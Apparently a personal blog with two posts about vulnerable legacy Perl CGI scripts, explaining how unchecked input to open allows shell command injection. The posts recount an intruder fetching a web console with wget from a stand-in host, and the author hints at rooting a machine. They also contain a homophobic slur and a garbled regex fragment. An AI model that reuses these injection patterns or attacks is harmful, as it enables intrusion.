I think I might have mono, lol. Been incredibly fatigued with more phlegm than normal and a soft, dry cough. I’ve more appetite than usual, but I’m attributing that to an increase in physical activity the past couple weeks.

Anyway, I was yesterday and, sure enough, found some other legacy Perl scripts which have some nice vulnerabilities:

use CGI;
$query = new CGI;
$target = $query->param('link');
$TARGETPAGE = "../$target";
open(INFILE, "$TARGETPAGE") || die "bogus file supplied: $TARGETPAGE";
while(){ print STDOUT $_; }
close(INFILE);

Basically, it’s the nicest thing they could have done — send an unchecked user string to Perl’s open function. open has this awesome feature called a “pipe open”, whereby if the last character is a |, the filename is passed to sh -c and the file descriptor for the new process’s stdout is bound.

Anyway I had a nice long writeup about the machine in question but fucking WordPress is a faggy piece of software and ate the goddamn post. Spoiler it’s running FreeBSD 4.7 and is actually properly set up — Apache and MySQL are running in a jail, so even after rooting the machinejail I can’t get tentacles into the kernel to properly compromise it (and I was so looking forward to stretching my legs with a nice FreeBSD kernel module in C). If only our machines at work were set up so nicely.

boring nyoro~n

One of our legacy machines at work got hacked again today (it’s not a machine I have any control over). There was an old Perl script with the following code –

$QS = $ENV{'QUERY_STRING'};
@QS = split(/&/,$QS);

foreach $i (0 .. $#QS) {
        $QS[$i] =~ s/\+/ /g;
        ($key,$val) = split(/=/,$QS[$i],2);

        $key =~ s/%(..)/pack("c",hex($1))/ge;
        $val =~ s/%(..)/pack("c",hex($1))/ge;

        $QS{$key} .= "\0" if (defined($QS{$key}));
        $QS{$key} .= $val;
}

$id=$QS{'id'};
$filedir="/lv12/data/texts/$id";
open(FILE,"cat $filedir | tr -d '\012' |");

which, hurr durr allows you to execute arbitrary shell commands by giving it an ID with some pretty backticks. The attacker was nice and decided to `wget http://my.skiddie.tools/awesome.php` (or whatever) and threw a rather shitty web console on the machine. He might have done some other nasty shit (because once you can execute arbitrary shellcode the next step is to get root access — and if you’ve got root access you can cover your tracks pretty damn well) but it’s not my machine so I don’t give a damn.

Some interesting points –

1. The web server user, apache, has ownership of all the files in their webtree, which means it can write to any of them and create files wherever it wants in there. Hurr durr.
2. They use Subversion to keep content updated on the machine, and their authentication information is cached on there (and belongs to the apache user), so if you got local access you can check out all the code running on that machine for your local viewing pleasure (and can probably commit it back, though someone would notice). Hurr durr.
3. This isn’t the first time this attack vector has been used — someone got in before and did the same thing. The sysadmins just removed the files that were dropped in and brushed the incident under the rug (or something?)

Megassa facepalm nyoro~n.

VALID PERL CODE:

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)+|\Z|(?=[\["()<>@,;:\\".\[\]]))|"(?:[^\"\r\\]|\\.|(?:(?:\r\n)?[ \t]))*"(?:(?:
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?:\r\n)?[ \t])+|\Z|(?=[\["()<>@,;:\\".\[\]]))|"(?:[^\"\r\\]|\\.|(?:(?:\r\n)?[
\t]))*"(?:(?:\r\n)?[ \t])*))*@(?:(?:\r\n)?[ \t])*(?:[^()<>@,;:\\".\[\] \000-\0
31]+(?:(?:(?:\r\n)?[ \t])+|\Z|(?=[\["()<>@,;:\\".\[\]]))|\[([^\[\]\r\\]|\\.)*\
](?:(?:\r\n)?[ \t])*)(?:\.(?:(?:\r\n)?[ \t])*(?:[^()<>@,;:\\".\[\] \000-\031]+
(?:(?:(?:\r\n)?[ \t])+|\Z|(?=[\["()<>@,;:\\".\[\]]))|\[([^\[\]\r\\]|\\.)*\](?:
(?:\r\n)?[ \t])*))*|(?:[^()<>@,;:\\".\[\] \000-\031]+(?:(?:(?:\r\n)?[ \t])+|\Z
|(?=[\["()<>@,;:\\".\[\]]))|"(?:[^\"\r\\]|\\.|(?:(?:\r\n)?[ \t]))*"(?:(?:\r\n)
?[ \t])*)*\<(?:(?:\r\n)?[ \t])*(?:@(?:[^()<>@,;:\\".\[\] \000-\031]+(?:(?:(?:\
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)(?:\.(?:(?:\r\n)?[ \t])*(?:[^()<>@,;:\\".\[\] \000-\031]+(?:(?:(?:\r\n)?[ \t]
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*:(?:(?:\r\n)?[ \t])*)?(?:[^()<>@,;:\\".\[\] \000-\031]+(?:(?:(?:\r\n)?[ \t])+
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(source)